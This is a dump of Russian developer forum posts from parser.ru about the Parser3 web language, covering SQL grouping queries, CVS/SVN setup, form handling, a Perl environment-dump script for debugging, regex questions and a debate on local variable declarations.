P.S. в последнем lib.p (который правда пока не выложил) result я старался объявлять локальным везде где возможно (ну... кроме методов, временно оставленных для обратной совместимости)."
"57432","наезд что-ли?"
"57433","вопрос уже обсуждался.\
вы поняли неправильно."
"57434","Вот здесь: http://www.parser.ru/forum/?id=57226 было написано: \"подумаем\". Над чем подумаем??? Я ведь просил просто пояснить, что делаю не так, почему не получается то, что хочу. При чем тут наезд..."
"57435","2. long long = то, что нужно. (и надо бы в общем виде что-то придумать, какой-то configure/define)\
\
3. ясно (и надо бы эту dlopen ошибку до экрана донести всегда. помнится, я делал шаги в эту сторону. очевидно, не все)\
\
4. ломаться не надо ;)\
насколько помню, transcodeToUTF8 мною целиком взят из Xerces C++.\
\
если сами не придумаете, как поправить,\
возможно, авторы Xerces уже сделали."
"57436","[code]\
SELECT gid, MAX(UNIX_TIMESTAMP(dt)*1e5 + id) GROUP BY gid\
[/code]\
\
ещё есть очевидный вариант с temp таблицей.\
\
а сделать select с подзапросом и join к нему не вышло.."
"57438","нам кажется, что вы нашли bug.\
мы подумаем, как его исправить.\
когда придумаем, сообщим.\
\
если кто подумает над этим вместо нас и нам пришлёт готовое решение, это ускорит процесс."
"57441","Использующие VCS, расскажите, пожалуйста, какие они бывают и поделитесь впечатлениями от конкретных продуктов.\
К своему стыду, я совсем недавно узнал о существовании подобных систем. Теперь хочу определиться, нужно ли мне это на данный момент, и, если нужно, найти оптимальный вариант."
"57442","[b]cvs[/b] - просто и понятно. Удобно и приятно. Принято. Обжито. Супер. +1 короче.\
[b]svn[/b] - потомок cvs. Но я не пользовался. Говорят, что круче, чем cvs... Но меня cvs вполне устраивает.\
\
Если в сорцах нет порядка, то он теряется в голове. А когда можно сравнивать версии.. делать бранчи при командной разработке.. ставить тэги на код... короче чувствуешь себя человеком. Без cvs я был негром."
"57444","svn круче, но менее распространена. В Windows у svn больше граблей."
"57445","Здравствуйте. Подскажите, есть ли у парсера аналог SOAP? Я видел на форуме сообщения, но там был спосом ^exec, передававший данные через GET. А мне нужно POST. Есть такая возможность?"
"57446","решил её так\
\
SELECT gid\
, CEILING(MID(max(concat(date,'_',right(CONCAT('000000000000000000000000', id),15))),21)*1) as x\
from tab1\
GROUP by gid"
"57447","- что такое \"есть ли у парсер аналог SOAP\" я не понял. SOAP по http это обычный POST запрос с определенным, описанным в SOAP спецификации body. очевидно, что необходимое body парсером сформировать можно и сделать POST запрос тоже можно.\
\
- как exec может быть связан с SOAP я не пойму. exec - запуск программы, находящейся на том-же диске. SOAP - запуск удаленного метода в соотв. с SOAP протоколом."
"57448","думается, если моё извращение\
http://www.parser.ru/forum/?id=57436\
как-нибудь в BIGINT проделать, будет несколько быстрее ;)"
"57449","Пожалуйста, подскажите, как должен выглядеть файл .htaccess чтоб обработчиком html страниц был parser, а php - соответст. PHP? Искал на форуме , не нашел (("
"57450","[code]SELECT\
	test.id, \
	a.dt \
FROM \
	test, \
	(\
		SELECT \
			gid,\
			MAX(dt) AS dt\
		FROM\
			test\
		GROUP BY\
			gid\
	) a\
WHERE\
	test.gid = a.gid\
	AND test.dt = a.dt[/code]\
\
при этом даже будут использоваться кое какие индексы %-)\
\
P.S. аналогично с temp таблицей, что ПАФ наверное и имел в виду"
"57455","Если я буду использовать CVS только на локальной машине, а обновлять сайт стану как и прежде - по FTP - при таком подходе использование системы управления версиями имеет смысл?"
"57457","со вчерашнего дня Парсер стал ругаться post_size(0) != content_length(242). В результате поиска по форуму нашел рекомендации - пробую. Поддержка хостера божиться, что никаких изменений ни в апаче ни в ПХП не делалось.\
\
Нашел рекомендацию ПАФа:\
[quote]напишите тривиальный скриптик на perl, который выводит environment и содержимое STDIN, назовите его parser3.cgi и организуйте POST на .html страницу.\
\
так вышло, что вчера видел своими глазами то же самое: в env есть CONTENT_LENGTH, а в STDIN ни одной буквы.\
\
если воспроизвести удастся, скажите «вот простой тест без всякого parser, на perl, пожалуйста, посмотрите».[/quote]\
\
Но дело в том, что я в Перл ни в зуб ногой. Потыкался по книжкам, пытался написать - не смог. Хотя понимаю, что задача простая. Помогите, кто знает перл - напишите плиз скрипт."
"57458","Давно пытался найти что то подобное..\
\
Одного тока не хватает - как к этому хозяйству подцепиться по сети (через инет например)."
"57459","Нужно знать только IP-адрес CVS-сервера.\
\
На клиенте ставим только клиентскую часть cvs - TortoiseCVS (или WinCVS или ещё какой CVS-клиент) вводим IP-адрес, логин, пароль и название репозитория. Дальше всё - как обычно (checkout, commit и т.п.). \
\
Т.е. поставьте на клиенте Tortoise и сразу пропустите начало инструкции до раздела \"Практическое использование CVS\".\
\
Небольшие сложности - только в том случае, если CVS-сервер сидит за файрволлом (программным или \"железным\"). В этом случае придётся залезть в настройки и разблокировать соответствующие порты (иначе до сервера никто не достучится)."
"57460","cvs даст вам возможность в любой момент сравнить любую версию любого файла в проекте с любой другой и при необходимости к ней \"откатиться назад\". \
\
Плюс к тому, оно дисциплинирует и заставляет вас отчитываться перед самим собой, что вы сделали, где именно и зачем."
"57461","Хочется сделать класс, работающий с html-формами.\
\
[b]Идеи такие:[/b]\
\
Данные о структуре формы хранить в XML:\
\
[code]<form>\
  <field name='story' type='input' default='value' source='sql' table='table' (field='story') />\
  <field name='text' type='input' default='none' source='xml' path='/path/file.xml' />\
  ...\
</form>[/code]\
\
Первоначальное заполнение формы из БД или из XML (для каждого поля можно указать). Соответственно, формируется запрос в БД и грузится/разбирается XML (поддержка XML - это больше планы на будущее).\
\
Выполняется preprocess-методы. Их задача - сформировать из загруженной информации поля, пригодные для отображения в форме и для получения из формы в виде POST ($form:fields). К сожалению, Парсер не понимает массивы в данных POST. Например, список файлов придется выводить так:\
[code]files_name_1\
files_name_2\
...\
files_path_1\
files_path_2\
...[/code]\
\
Пока не знаю, как хранить эти данные внутри класса. Видимо, hash of hash...\
\
После preprocess сформируется XML примерно такого вида:\
[code]<form>\
  <field name=\"title\" type=\"input\" is_error=\"0\">Заголовок статьи</field>\
</form>[/code]\
\
Он обрабатывается XSLT-шаблоном (тут всё понятно).\
\
Данные, пришедшие из формы, прогоняются через check-методы. Для каждого поля можно определить свой метод. Они проверяют на ошибки и пишут коды ошибок в хэш с данными. Если ошибки есть, то форма выводится снова (с пометками для пользователя).\
\
Когда форма будет заполнена правильно, её данные попадут в postprocess-методы. Они сформируют поля для записи в базу/xml. И отдельный метод всё сохранит.\
\
[b]Пример с датой[/b] (которая всем надоела):\
[color=\"#666666\"]date - в базе хранится в виде одного поля, вывести в форму нужно три:\
методы pre выбирают из поля date нужную информацию...\
...и потом снова собрать в одно поле date. Для этого у одного из полей определяется\
postprocess-метод, который из трех полей собирает одну date.[/color]\
\
Хотелось бы услышать критику алгоритма. Насколько я знаю, есть подобные наработки на Парсере (встречал на форуме). Правда, исходников я не видел. Очень интересно мнение авторов подобных классов -- какие засады подстерегают, да и вообще, упростит ли жизнь такой класс?"
"57462","Кое что интересное нашел [url=\"http://www.parser.ru/forum/?id=50542\"]вот тут[/url] и [url=\"http://www.parser.ru/forum/?id=54434\"]вот тут[/url]."
"57463","# простите не удержался...."
"57464","Вручную всё каждый раз прописывать? Бывают сайты, где форм много...\
Насколько я знаю, есть подобные вещи для php, почему бы не сделать для Парсера?\
\
Интересно было бы услышать мнение людей, которые такую штуку делали или пользовались..."
"57465","---------------------------\
Ошибка\
---------------------------\
Во время выполнения произошла ошибка.\
Запустить отладку?\
\
Строка: 44\
Ошибка: \"keyCode\" -  есть null или не является объектом\
---------------------------\
Да   Нет   \
---------------------------\
\
Эта ошибка выдается при попытке изменить содержимое заголовка размещаемого сообщения.\
IE 6.0.2800.1106"
"57466","[code]^mail:send[\
	$.from[$form:contact-name <${form:contact-mail}>]\
	$.to[***]\
	$.subject[***]\
	$.text[$form:request]\
][/code]\
\
\
\
Вываливается вот это.\
\
[code]$.name outside of $name[...][/code]"
"57467","вы ведь не думаете, что сможете лучше парсера написать 3 строчки кода...\
\
к сожалению понять кульбиты с postprocess я не смог... про preprocess даже страшно спрашивать...\
\
[quote]К сожалению, Парсер не понимает массивы в данных POST[/quote]\
\
да ну?\
\
[code]\
<form method=\"post\">\
  <input type=\"text\" name=\"это_поле_никогда_не_пройдет\" value=\"беда беда...огорчение\"/>\
  <input type=\"submit\" value=\"руки прочь!\"/>\
</form>\
^if(def $form:[это_поле_никогда_не_пройдет]){\
    прошло оО... это все злые хакеры крекерцы виноваты... или ктулху...\
}\
[/code]\
\
[quote]Если ошибки есть, то форма выводится снова (с пометками для пользователя).[/quote]\
\
а endless loop detected в try засунем и никто ничего не узнает :х\
\
[quote]\
date - в базе хранится в виде одного поля, вывести в форму нужно три:методы pre выбирают из поля date нужную информацию......и потом снова собрать в одно поле date. Для этого у одного из полей определяетсяpostprocess-метод, который из трех полей собирает одну date.\
[/quote]\
\
для остроты ощущений можно хранить дату и в 5 полях, однако роскошь ценят далеко не все... \\\
не поверите, эти дураки придумали date/datetime поля в базе данных оО\
\
\
ЗЫ ... в интересах революции"
"57470","[b]preprocess и postprocess методы[/b], конечно, я не удачно назвал... В общем, они никак не связаны с Парсеровским ^postprocess[].\
Просто одни выполняются до вывода информации в форму (адапритуют информацию для формы), другие -- после (возвращают информацию в тот вид, в котором она лежала в базе).\
\
\
Смысл Вашего примера (с русскими буквами в названии поля и хакерами) я совсем не понял. Знаю, что если определить форму с такими полями:[code]<form>\
  <input name=\"array[]\" value=\"1\">\
  <input name=\"array[]\" value=\"2\">\
  <input name=\"array[]\" value=\"3\">\
</form>[/code]то в PHP придет массив, а в Парсер -- одна переменная, содержащая одно значение (видимо, последнее). Вообще, так удобно разбирать загрузку нескольких файлов через одну форму.\
\
[b]Про endless loop[/b] -- бред.\
\
[b]Про дату:[/b] Вы храните дату в трех полях? или в пяти??\
Это тоже нереальный бред. Как проверить её на корректность? Как сделать сортировку? Только мегаизвращенным способом...\
\
P.S.\
Приветствуется конструктивная критика, а не издевательства."
"57475","[code]^form:fields.foreach[field;value]{ \
   $field - $value \
}[<br>] \
\
<hr>\
\
<form method=\"post\" enctype=\"multipart/form-data\"> \
  <input type=\"text\" name=\"variable\" value=\"value\"><br>\
  <input type=\"text\" name=\"array[]\" value=\"1\"><br>\
  <input type=\"text\" name=\"array[]\" value=\"2\"><br>\
  <input type=\"text\" name=\"array[]\" value=\"3\"><br>\
  <input type=\"submit\">\
</form>[/code]\
\
Результат работы этого кода:\
\
array[] - 1 \
variable - value\
\
Ошибся. Передается не последнее, а первое значение. Но это не важно.\
\
[b]Нашел кое что...[/b]\
\
[code]$array[$form:tables.[array[]]] \
^if($array){ \
  ^array.menu{ \
      $array.field \
  }[<br>] \
}[/code]\
выведет все значения array[]\
\
Но с файлами это не сработает, [url=\"http://www.parser.ru/forum/?id=27910\"]вот почему[/url]."
"57476","С массивами в полях POST я разобрался. Просто я их использовал всегда применительно к загрузке файлов, а файлы действительно нельзя передать в виде массива ($form:tables не может содержать тип file).\
\
Но сама идея сделать обработчик форм связана не только с этим. Давайте обсудим идею, а не детали реализации (которой еще нет)."
"57478","http://www.permlug.org/data/trash/parser3.bz2"
"57479","да и не может по моему он её вызывать, т.к. за исключением '***' в поле to все верно.\
\
упоминаемая ошибка возникает, если вы пытаетесь сконструировать хеш в чистом поле, например хотели написать:\
\
[code]$var[\
	$.key[value]\
][/code]\
\
а по каким-то причинам написали:\
\
[code]\
	$.key[value]\
[/code]"
"57481","Ок, рад, если смог помочь. Там еще одна аналогичная выскакивает после отправки..."
"57482","//--------------------------------------------\
// Set up our simple tag open values\
//--------------------------------------------\
\
var b_open = 0\
var i_open = 0\
var quote_open = 0\
var code_open = 0\
var sql_open = 0\
var html_open = 0\
\
var bbtags   = new Array()\
var fombj    = document.REPLIER\
fombj.body.onkeydown = processTextareaKeystokes\
fombj.name.onkeydown = processTextKeystokes ## на этой строке\
var text_enter_url = \"Введите полный URL ссылки\"\
var text_enter_url_name = \"Введите название сайта\""
"57483","Сорри. На предыдущей строке"
"57484","...с которым можно было бы не только локально работать\
или действий, приведенных в этой инструкции достаточно, чтобы к репозиторию можно было цепляться удаленно?"
"57485","Хм.\
Странно, хеш там я не вставляю =/\
\
Там, где звёздочки, там мыло и реальный текст, просто лень было тут писать...\
\
Не знаю почему, но ошибко само пропало на утро. Ничё не менял...\
\
Спасибо."
"57488","Почему локальные переменные надо объявлять?\
\
[code]@templateListItem[item][type;counts;hint;parent]\
$counts[/ $item.fields.count, $item.ca...[/code]\
\
Не лучше ли объявлять глобальные переменные, а локальными пусть будут по умолчанию?\
Разве не удобней так, как во всех других языках сделано..."
"57489","одну(пока) небольшую неточность заметил в инструкциях, наверно писалось по памяти без проверки в реальности. Поправьте навернО?\
\
В настройках конфигурации сервера (Server settings) сейчас:\
[code]\
Location: C:/CVSRepo\
Name: /repository\
[/code]\
\
Хранилище в таком случае будет создано не там где хочется, а что очевидно в C:/CVSRepo.\
Должно быть:\
[code]\
Location: C:/CVSRepo/repository\
Name: /repository\
[/code]\
\
И дальше:\
\
[code]Наберите команды:\
set cvsroot=:sspi:Имя_компьютера:/CVSRepo/Repository\
cvs passwd -a Ваш_логин_в_Windows\
[/code]\
\
Конечно сервер ругнется и скажет, что репозиторий не найден (вне зависимости от варианта выше). Нужно:\
\
[code]Наберите команды:\
set cvsroot=:sspi:Имя_компьютера:/Repository   <<-Имя репозитория, написанное выше\
cvs passwd -a Ваш_логин_в_Windows\
[/code]"
"57490","можно заменить их на один хеш и объявить локальным его.\
\
И это не повод, проигнорировав поиск по форуму [url=\"http://www.parser.ru/forum/?terms=%2B%EB%EE%EA%E0%EB%FC%ED+%2B%EF%E5%F0%E5%EC%E5%ED&author=&doSearch=%CD%E0%E9%F2%E8\"]по этой теме[/url], поднимать праздные дискуссии снова."
"57491","[code]#!/usr/bin/perl\
\
print \"Content-Type: text/html\\n\\n\";\
\
foreach my $key (keys %ENV)\
{\
	print \"$key=$ENV{$key}<br />\";\
}\
\
print while <STDIN>;[/code]"
"57492","для многочисленных опросов,\
ветвящихся wizard'ов и подобного — самое оно!"
"57493","http://www.parser.ru/forum/?id=57492\
\
увы, как везде, есть тонкая грань, после которой начинаются сильнохитрые формы, и подогнать общее решение под них = только портить это общее решение."
"57494","Оставим пока в стороне тип переменной, Parser пока — язык без объявления типов переменных. Рассмотрим только объявления.\
\
В идеале, как это сделано в строгих языках (C, java), объявлять нужно всё.\
\
Есть языки, где нужно объявлять меньше.\
Скажем, в VBA не нужно объявлять локальные переменные вообще.\
А в старом MSBasic можно было указать «набор букв с которых начинается имя локальной переменной». Людям это так понравилось, что объявляли этот набор A-Z, и радовались.\
\
Однако в любимом мною Perl (режим strict-off) сделано иначе:\
можно не объявлять глобальные переменные, но нужно объявить локальные. Да ещё выдумано два типа локальных с динамической областью видимости (local $a) и с фиксированной (my $a).\
\
Для Parser придумалось, что все объявления полей классов будут не из-под палки, а мягко. Своеобразный обман, признаю:\
[code]\
@auto[]\
$static1[это мы объявили статическое поле класса]\
@constructor_in_base_class[]\
$dynamic1[\
  это мы объявили динамическое поле класса,\
  оно будет доступно из методов этого класса\
]\
@constructor_in_derived _class[]\
^constructor_in_base_class[]\
$dynamic2[\
  это мы объявили динамическое поле класса,\
  оно будет доступно из методов этого класса\
  но оно НЕ БУДЕТ доступно из методов базового класса\
]\
$dynamic1[это значение попадёт в поле базового класса]\
\
@method1[]\
$dynamic2[\
  это мы объявили ещё одно динамическое поле класса, \
  доступное из всех методов\
]\
[/code]\
\
Выходит, что вроде бы и не объявляем, но объявляем.\
Особенно ярко это проявляется при наследовании классов. Чтобы динамическое поле класса было доступно методам этого класса, обязательно что-нибудь ему присвоить в конструкторе, пусть пустое значение.\
\
Локальные переменные, ввиду вышеописанного, мы объявляем явно:\
[code]\
@method2[][local1;local2]\
$local1[это мы что-то присвоили локальной переменной, объявленной строчкой выше]\
[/code]\
\
Мне это объявление локальных переменных не нравится.\
Именно из-за своего неудобства и злобного подталкивания к порочной практике использованию переменных «temp» (никогда так не делайте!).\
\
Убеждён(© Путин), локальную переменную лучше всего объявлять по месту первого использования.\
Однако непротиворечивую концепцию всех объявлений (static/dynamic/local) придумать пока не удалось.\
\
Если есть идеи, давайте рассмотрим.\
«Взять и поделить» не подходит сразу. Отправлю внимательно перечитывать это сообщение."
"57495","наш с вами язык — интерпретатор, а потому вполне может создать локальную переменную на ходу.\
нужно только выдумать \"как\".\
если не пытаться переделать вышеописанную концепцию, можно попробовать малой кровью.\
\
образец для подражания всегда перед глазами: Perl.\
увы, мы — язык погруженный в код, и ключевых слов, как таковых, нет.\
\
был вариант:\
[code]\
@method[]\
#объявили\
^my[local1]\
$local1[присвоили]\
\
#или\
\
^my[local1;присвоили сразу]\
[/code]\
в духе Parser2.\
\
но что хорошо для Parser2, в Parser3 смотрится не супер.\
\
Я серьёзно рассматривал такой вот вариант:\
[code]\
@method[]\
$variable[local;присваиваем]\
[/code]\
тут я пытаюсь подумывать о будущем и типизации. со временем можно было бы сделать и\
[code]\
@method[]\
$iVariable[int](присваиваем)\
$tVariable[table;^table::load[table.cfg]]\
$oVariable[box;^box::create(10;20)]\
[/code]\
\
вполне обратносовместимый (чрезвычайно важно!), но смотрится на четвёрочку с минусом.\
кто что думает?"
"57496","в свете проблемы for:\
[code]\
// C++\
for(int i=0; ...\
[/code]\
\
вышеописанное опять не супер.\
\
только что придумалось такое вот:\
 [code]\
@method[]\
$local.variable[объявили и присвоили]\
#…барабанный бой…\
$variable << пользуемся\
[/code]\
\
тогда можно будет (с некоторой натяжкой)\
[code]\
^for[local.i](0;10){… $i …}\
[/code]\
\
так вроде бы поудобнее, и чем-то похоже на имеющуюся конструкцию с $caller."
"57497","увы, мне не очень нравится такой for. сделать для системных операторов несложно. Но ведь есть и пользовательские, активно использующие\
[code]\
@foreach[varName;…]\
$caller.$varName\
[/code]\
\
и здесь нужно как-то обработать \
[code]\
$caller.[local.i]\
[/code]\
корректно и, желательно, без потери скорости.\
\
подумаем."
"57498","Файл странным образом исчез. Вернул на место."
"57499","[quote]Мне это объявление локальных переменных не нравится.\
Именно из-за своего неудобства и злобного подталкивания к порочной практике использованию переменных «temp» (никогда так не делайте!).[/quote]\
\
Надо заметить, я как раз и создаю в огромном количестве эти TEMP. Пока проблем не создает, но пару раз было, что забывая его отметить как локальную происходит наложение разных темпов из разных методов. \
\
Другими словами, такое объявление локальных мешает - банально забываешь объявить их. А потом в уже написанном коде хрен разберешь, где глобальные, а где локальные.\
\
Ладно, вроде понятно почему так получилось. Способ с хешем понравился. Попробую так объявлять локальные.\
\
Но вот это:\
\
[code]@method[]\
$iVariable[int](присваиваем)\
$tVariable[table;^table::load[table.cfg]]\
$oVariable[box;^box::create(10;20)][/code]\
\
смотрится ужасно. Разве далее после создания нужно тоже писать так:\
\
[code]$iVariable[int](создаем)\
$iVariable[int](новое значение)\
$iVariable[int](другое значение)...[/code]\
\
Это ведь лишняя писанина получится...\
\
А вот эта конструкция:\
\
[code]@method[]\
$local.variable[объявили и присвоили]\
#…барабанный бой…\
$variable << пользуемся[/code]\
\
ничем не отличается от:\
\
[code]@method[][variable]\
$variable[объявили и присвоили]\
#…барабанный бой…\
$variable << пользуемся[/code]\
\
Разве что не надо городить длииииииинную строку из локальных переменных, когда их много."
"57500","[quote]\
@method[]\
$local.variable[объявили и присвоили]\
#…барабанный бой…\
$variable << пользуемся\
\
ничем не отличается от:\
\
@method[][variable]\
$variable[объявили и присвоили]\
#…барабанный бой…\
$variable << пользуемся\
[/quote]\
\
Отличается, иногда у меня появляются задачи когда я не могу редактировать заголовок метода и не знаю какие этот метод переменные создаст. В основном в виртуальном создании методов класса."
"57501","То при минимальном уровне развития проекта это - поля класса.\
На практике всегда в конструкторе класса происходит обявление его полей.\
По сему, думаю, что явное объявление глобальных переменных много полезней явного объявления локальных.\
\
Итого, как вам такая схема:\
1. все переменные по умолчанию локальны\
2. глобальные переменные необходимо объявлять в конструкторе класса либо в @auto[]"
"57503","последний вариант нравится, и даже в чём-то в духе Parser-а.\
Однако кажется что типы данных лишние, в случае прямого обявления.\
т.е. получается что тип дублирует все конструкторы?\
\
мой вариант на 3 с минусом, но право на существование имеет...\
\
[code]\
@method[]\
$iVariable(присваиваем)@\
$tVariable[^table::load[table.cfg]]@\
$oVariable[^box::create(10;20)]@\
[/code]"
"57504","Несколько упрощенный код но вызывает туже ошибку:\
[code]\
@main[]\
$response:cache-control[no-store, no-cache]\
$response:pragma[no-cache]\
$request:charset[UTF-8]\
$response:charset[windows-1251] \
$response:content-type[\
	$.value[text/html]\
   $.charset[$response:charset]\
]\
$SQL.connect-string[mysql://root:@localhost/mouse?charset=utf8]\
^connect[$SQL.connect-string]{\
	$test[^mGetMessagesByParent[$.parent_id(0)]]\
}\
$test.dt\
\
# так я составляю запросы,\
# ну нравится мне\
# и до этого момента сбоев не было\
@mGetMessagesByParent[hParams]\
$result[\
	^getSql[\
		$.names[^hash::create[\
			$.[forum_message.forum_message_id][id]\
			$.[forum_message.parent_id][]\
			$.[forum_message.thread_id][]\
			$.[forum_message.thread_id][]\
			$.[forum_message.title][]\
			$.[forum_message.author][]\
			$.[forum_message.email][]\
			$.[DATE_FORMAT(forum_message.dt_published, '%e-%c-%y %H:%i:%s')][dt]\
			$.[IF(body IS NULL, 1, 0)][is_empty]\
		]]\
		$.table[forum_message]\
		$.where[\
			is_published = 1\
			^if(def $hParams.parent_id){AND parent_id = ^hParams.parent_id.int(0)}\
		]\
		$.order[dt_published DESC]\
	]\
]\
\
@getSql[hParams]\
$result[\
	^table::sql{\
		SELECT\
			^hParams.names.foreach[key;value]{$key ^if(def $value){ AS $value }}[,]\
		FROM\
			$hParams.table\
		^if(def $hParams.where){ WHERE $hParams.where }\
		^if(def $hParams.order){ORDER BY $hParams.order }\
	}\
]\
[/code]\
\
Ошибка:\
[code]\
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\'1.584513e-305-\
\
SELECT forum_message.email ,forum_message.forum_message_id AS id ,forum_message.title ,forum_message.author ,DATE_FORMAT(forum_message.dt_published, '%e-%c-%y %H:%i:%s') AS dt ,forum_message.thread_id ,forum_message.parent_id ,IF(body IS NULL, 1, 0) AS is_empty FROM forum_message WHERE is_published = 1 AND parent_id = 0 ORDER BY dt_published DESC\
\
y:/home/test1.ru/www/parser/test.html(44)\
\
exception.type=sql.execute sql y:/home/test1.ru/www/parser/test.html(44)\
getSql y:/home/test1.ru/www/parser/test.html(21)\
mGetMessagesByParent y:/home/test1.ru/www/parser/test.html(12)\
connect y:/home/test1.ru/www/parser/test.html(11)\
[/code]\
\
Появилась когда я попытался форматировать дату средствами SQL\
то есть изменил поле хэша запроса\
[code]$.[forum_message.dt_published][dt][/code]\
на\
[code]$.[DATE_FORMAT(forum_message.dt_published, '%e-%c-%y %H:%i:%s')][dt][/code]\
\
С чем это может быть связано?"
"57505","Напоролся на ошибку с кодировками в сабже.\
Т.е. огреб transcodeFromUTF8 error: too big tmpVal(0xFAB9FF0A)\
Оказалось, что причина не в коде, а в имени директории \"Сайты\". Переименовал ее в \"home\", и ошибка сразу изчезла. И, разумеется, подправил пути в конфигурационных файлах (достаточно \"автозаменялкой\" типа tr11 заменить все встречающиеся в содержимом директории [b]свежеустановленного[/b] Apache_Swissknife слова \"Сайты\" на \"home\")\
***\
Может быть, кому-нибудь будет полезно ;-)"
"57507","вот простая схема\
\
ВЫШЕ методы (вызывающие НАШ)\
|\
НАШ метод\
|\
НИЖЕ методы (вызываемые НАШИМ)\
\
получается в НАШЕМ методе может быть два варианта \"локальности\"...\
\
1. переменная видна только в НАШЕМ методе\
2. переменная видна в НАШЕМ методе и методах НИЖЕ"
"57508","В общем нужно заменить в тексте все, что похоже на [b]%NAME[xxx;yyy;...][/b].\
\
1. Начало (истина где-то рядом... (c))\
[code]\
@parseDataMethod[x1;x2]\
$result[$x1 : $x2]\
#end @parseDataMethod[]\
\
@main[]\
$sData[\
	<xforms:instance id=\"inst_Product\" src=\"%Object[id^;6]\" />\
\
	<xforms:submission\
		id=\"sub_Product\"\
		ref=\"instance('inst_Product')\"\
		action=\"%Object[id^;6]\"\
		replace=\"instance\"\
		instance=\"inst-rs_Product\"\
	/>\
]\
\
$result[^sData.match[([^^%])(\\w+)\\^[(id^;6)\\^]][gi]{$match.1^parseDataMethod[$match.2;$match.3]}]\
#end @main[]\
\
\
В результате получаю:\
[code]\
<xforms:instance id=\"inst_Product\" src=\"%Object : id;6\" />\
<xforms:submission\
id=\"sub_Product\"\
ref=\"instance('inst_Product')\"\
action=\"%Object : id;6\"\
replace=\"instance\"\
instance=\"inst-rs_Product\"\
/>\
[/code]\
\
2. Решаю заменить \"[b]id;^6[/b]\" на что-нибудь \"[b].*[/b]\".\
[code]\
$result[^sData.match[([^^%])(\\w+)\\^[(.*)\\^]][gi]{$match.1^parseDataMethod[$match.2;$match.3]}]\
[/code]\
\
\
Результат:\
[code]\
<xforms:instance id=\"inst_Product\" src=\"%Object : id;6]\" />\
<xforms:submission\
id=\"sub_Product\"\
ref=\"instance('inst_Product')\"\
action=\"%Object[id;6\"\
replace=\"instance\"\
instance=\"inst-rs_Product\"\
/>\
[/code]\
\
\
В результате сижу и давлю в книгу... Не могу понять про что я не подумал?.. Можно поспать немного..."
"57509","Я выбрал для админ-интерфейса XForms. Мне кажется - это более менее разумное отделение интерфейса от данных форм.\
Правда с поддержкой пока слабовато. Впринципе, более-менее управляется браузер Mozilla Firefox. Но и под IE есть какая \"замухрень\", если не ошибаюсь FormPlayer."
"57510","я говорил о локальной переменной с именем temp(ужасно!), а не об обычном большом количестве временных локальных переменных(абсолютно нормально)."
"57511","[quote]\
смотрится ужасно. Разве далее после создания нужно тоже писать так:\
\
$iVariable[int](создаем)\
$iVariable[int](новое значение)\
$iVariable[int](другое значение)...\
[/quote]\
нет, конечно:\
\
[code]\
$iVariable[int](объявляем и инициализируем)\
$iVariable << используем\
$iVariable(4) << присваиваем другое значение\
[/code]"
"57512","[quote]\
А вот эта конструкция:\
\
@method[]\
$local.variable[объявили и присвоили]\
#…барабанный бой…\
$variable << пользуемся\
\
ничем не отличается от:\
\
@method[][variable]\
$variable[объявили и присвоили]\
#…барабанный бой…\
$variable << пользуемся\
\
Разве что не надо городить длииииииинную строку из локальных переменных, когда их много.\
[/quote]\
\
вот тут вы несколько заблуждаетесь.\
дело не в длине строки объявления в текущем синтаксисе.\
\
дело в одновременности (или близости) объявления и первого использования.\
\
это очень важно, поскольку позволяет не отвлекаться и не ходить куда-то там в сторону чтобы объявить, а можно сделать по месту.\
[i]скажем, курильщику куда удобнее курить на прямо рабочем месте, чем куда-то там ходить. сам не курю ;)[/i]"
"57513","начиная с простейшего: обратной [b]несовместимости[/b].\
и заканчивая вышеописанными противоречиями."
"57514","Или я не прав?"
"57515","Нужно чтобы вообще не было необходимости в объявлении локальных переменных. Только глобальных. \
\
А так, по сути ничего не меняет."
"57516","Нужно чтобы вообще не было необходимости в объявлении локальных переменных. Только глобальных. \
\
А так, по сути ничего не меняет. Вы писали:\
\
[quote]Мне это объявление локальных переменных не нравится.[/quote]\
\
А мне вообще не нравится, что их надо объявлять. Лучше было бы только глобальные объявлять. Терпел я это, терпел, - вот решил узнать почему так, в чем логика, чтоб не мучится с этим более."
"57517","Подчас трудно придумать нормальное имя. Когда очень быстро надо накатать код. Вот и появляются всякие temp."
"57518","Кроме того, формы есть не только в админке. У меня как раз тот случай, когда нужно сделать довольно много несложных форм для пользователя.\
\
А еще я хочу повесить на этот класс загрузку и сохранение информации (SQL, XML). Правильно ли это? С этим самый большой напряг, если нужно сделать универсальный класс..."
"57520","Ведь структуру формы будет воспроизводить XSLT, а парсерный класс будет заниматься только обработкой информации. Конечно, для очень сложных форм не будет выйгрыша в удобстве...\
\
Сейчас задумался о загрузке/сохранении данных. С XML всё более-менее понятно, а вот в БД будет сложно данные сохранять (конечно, если не ограничиваться одной строкой одной таблицы на форму)."
"57523","противоречий не уловил: все переменные класса (включая MAIN)/объекта нужно будет декларировать."
"57524","...а иногда и там и там в пределах одной формы. Например, нужно изменить данные в XML документе и записать его новое название в таблицу разделов в БД. [color=\"#666666\"] Хотя, это плохой пример. Для работы со структурой сайта лучше иметь отдельный класс с функцией updateSection.[/color]\
\
Думал про такой вариант, только не знал, что это так называется )) Редактировать данные так можно запросто, а вот с созданием строк в таблице БД могут быть сложности. Обязательные поля, например... В общем, будут ограничения на структуру БД."
"57525","У Вас заменяются данные от первой \"[\" до последней \"]\", с любыми символами между ними. Поэтому (.*) не подходит.\
Можно сделать, например, (\\S+).\
\
А лучше так:[code]^sData.match[\
  (%\\w+)        ^rem{ после % со словом }\
  \\^[           ^rem{ после [ }\
  ( [^^\\^]]+ )  ^rem{ любые символы, кроме ] }\
  \\^]           ^rem{ до ] }\
][gix]{^parseDataMethod[$match.1;$match.2]}[/code]если я правильно понял задачу..."
"57526","Думается, лучше сделать сразу хорошо и релизнуть в версии с достаточно круглым номером, указав на несоместимость, чем мучится и придумывать переходное решение.\
\
Опять же, Миша вариант совместимости предложил.\
Плюс, могу сказать с уверенностью, что при тех изменениях, которые предлагаю я, лично мой код работать не перестанет.\
Потому как, глобальное декларирую.\
\
Зато, со спокойной совестью, убъю строки декларации локальных переменных по 300 символов.\
\
Да, предложение кардинальное, но лучшей схемы я пока не вижу..."
"57527","..., то можно обратиться к [url=\"http://www.formfaces.com/faces/Examples/index.html\"]FormFaces[/url].\
P.S. Правда не уверен, что это удобно для Ваших задач."
"57528","Сделал так:\
[code]\
^sData.match[\
	([^^%])%\
	(\\w+)\
	\\^[\
	( [^^\\^]]+ )\
	\\^]\
][gix]{$match.1^parseDataMethod[$match.2;$match.3]}\
[/code]\
Т.к. %% у меня имеет другой смысл, можно сказать обратный."
